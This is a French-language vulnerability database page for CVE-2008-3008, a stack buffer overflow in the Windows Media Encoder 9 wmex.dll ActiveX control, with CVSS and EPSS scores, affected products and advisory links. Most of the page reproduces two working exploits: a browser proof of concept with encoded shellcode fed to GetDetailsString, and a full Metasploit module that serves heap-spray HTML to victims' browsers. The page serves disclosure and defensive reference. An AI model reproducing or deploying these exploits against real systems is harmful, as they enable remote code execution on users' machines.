CVE-2008-3008 : Détail

CVE-2008-3008

Overflow
80.95%V4
Network
2008-09-10
13h00 +00:00
2018-10-12
17h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Stack-based buffer overflow in the WMEncProfileManager ActiveX control in wmex.dll in Microsoft Windows Media Encoder 9 Series allows remote attackers to execute arbitrary code via a long first argument to the GetDetailsString method, aka "Windows Media Encoder Buffer Overrun Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 6454

Date de publication : 2008-09-12 22h00 +00:00
Auteur : haluznik
EDB Vérifié : Yes

<html> <pre> ============================================================================= MS08-053 Windows Media Encoder wmex.dll ActiveX Control Buffer Overflow ============================================================================= Calc execution POC Exploit for WinXP SP2 PRO English / IE6.0 SP2 Found by : Nguyen Minh Duc and Le Manh Tung Advisory : http://www.microsoft.com/technet/security/Bulletin/MS08-053.mspx Exploit by : haluznik | haluznik<at>gmail.com 09.10.2008 ============================================================================= <input language=JavaScript onclick=poc() type=button value="launch exploit"> <OBJECT id="target" classid="clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C"> </OBJECT> <script> function poc() { var shellcode = unescape( "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4948%u4949" + "%u4949%u4949%u4949%u4949%u5a51%u436a%u3058%u3142%u4250%u6b41" + "%u4142%u4253%u4232%u3241%u4141%u4130%u5841%u3850%u4242%u4875" + "%u6b69%u4d4c%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" + "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f%u6e68%u736b" + "%u716f%u6530%u6a51%u724b%u4e69%u366b%u4e54%u456b%u4a51%u464e" + "%u6b51%u4f70%u4c69%u6e6c%u5964%u7350%u5344%u5837%u7a41%u546a" + "%u334d%u7831%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" + "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b%u726c%u4c6b" + "%u534b%u376f%u636c%u6a31%u4e4b%u756b%u6c4c%u544b%u4841%u4d6b" + "%u5159%u514c%u3434%u4a44%u3063%u6f31%u6230%u4e44%u716b%u5450" + "%u4b70%u6b35%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" + "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b%u6c30%u5770" + "%u5770%u4770%u4c70%u704b%u4768%u714c%u444f%u6b71%u3346%u6650" + "%u4f36%u4c79%u6e38%u4f63%u7130%u306b%u4150%u5878%u6c70%u534a" + "%u5134%u334f%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" + "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f%u4147%u4163" + "%u504c%u4273%u3159%u5063%u6574%u7035%u546d%u6573%u3362%u306c" + "%u4163%u7071%u536c%u6653%u314e%u7475%u7038%u7765%u4370"); var buff= ""; var nsp = unescape("%u06EB%u9090"); var sh = unescape("%u6950%u74C9"); var nop = unescape("%u9090%u9090%u9090%u9090%u9090%u9090"); for (i=0;i<1638;i++) buff=buff + unescape("%u4141"); buff = buff + nsp + sh + nop + shellcode; target.GetDetailsString(buff,1); } </script> </pre> </html> # milw0rm.com [2008-09-13]
Exploit Database EDB-ID : 16521

Date de publication : 2010-05-08 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: ms08_053_mediaencoder.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Windows Media Encoder 9. When sending an overly long string to the GetDetailsString() method of wmex.dll an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2008-3008' ], [ 'OSVDB', '47962' ], [ 'BID', '31065' ], [ 'MSB', 'MS08-053' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2-SP3 IE 6.0 SP0-SP2', { 'Ret' => 0x0C0C0C0C } ] ], 'DisclosureDate' => 'Sep 9 2008', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops. nops = Rex::Text.to_unescape(make_nops(4)) # Set the return. ret = Rex::Text.to_unescape([target.ret].pack('V')) # Randomize the javascript variable names. vname = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(30) + 2) rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) rand5 = rand_text_alpha(rand(100) + 1) rand6 = rand_text_alpha(rand(100) + 1) rand7 = rand_text_alpha(rand(100) + 1) rand8 = rand_text_alpha(rand(100) + 1) content = %Q| <html> <object id='#{vname}' classid='clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C'></object> <script language="JavaScript"> var #{rand1} = unescape('#{shellcode}'); var #{rand2} = unescape('#{nops}'); var #{rand3} = 20; var #{rand4} = #{rand3} + #{rand1}.length; while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2}; var #{rand5} = #{rand2}.substring(0,#{rand4}); var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4}); while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5}; var #{rand7} = new Array(); for (#{var_i} = 0; #{var_i} < 600; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} } var #{rand8} = ""; for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') } #{vname}.GetDetailsString(#{rand8}, 1); </script> </html> | content = Rex::Text.randomize_space(content) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end

Products Mentioned

Configuraton 0

Microsoft>>Windows_media_encoder >> Version 9_series

Microsoft>>Windows-nt >> Version 2008

Microsoft>>Windows-nt >> Version 2008

    Microsoft>>Windows-nt >> Version xp

      Microsoft>>Windows_2000 >> Version -

      Microsoft>>Windows_2003_server >> Version -

      Microsoft>>Windows_2003_server >> Version -

      Microsoft>>Windows_2003_server >> Version -

      Microsoft>>Windows_2003_server >> Version -

      Microsoft>>Windows_xp >> Version -

      Microsoft>>Windows_xp >> Version -

      Références

      http://www.kb.cert.org/vuls/id/996227
      Tags : third-party-advisory, x_refsource_CERT-VN
      http://marc.info/?l=bugtraq&m=122235754013992&w=2
      Tags : vendor-advisory, x_refsource_HP
      http://www.securitytracker.com/id?1020832
      Tags : vdb-entry, x_refsource_SECTRACK
      http://www.securityfocus.com/bid/31065
      Tags : vdb-entry, x_refsource_BID
      http://marc.info/?l=bugtraq&m=122235754013992&w=2
      Tags : vendor-advisory, x_refsource_HP
      https://www.exploit-db.com/exploits/6454
      Tags : exploit, x_refsource_EXPLOIT-DB
      http://www.us-cert.gov/cas/techalerts/TA08-253A.html
      Tags : third-party-advisory, x_refsource_CERT
      http://www.vupen.com/english/advisories/2008/2521
      Tags : vdb-entry, x_refsource_VUPEN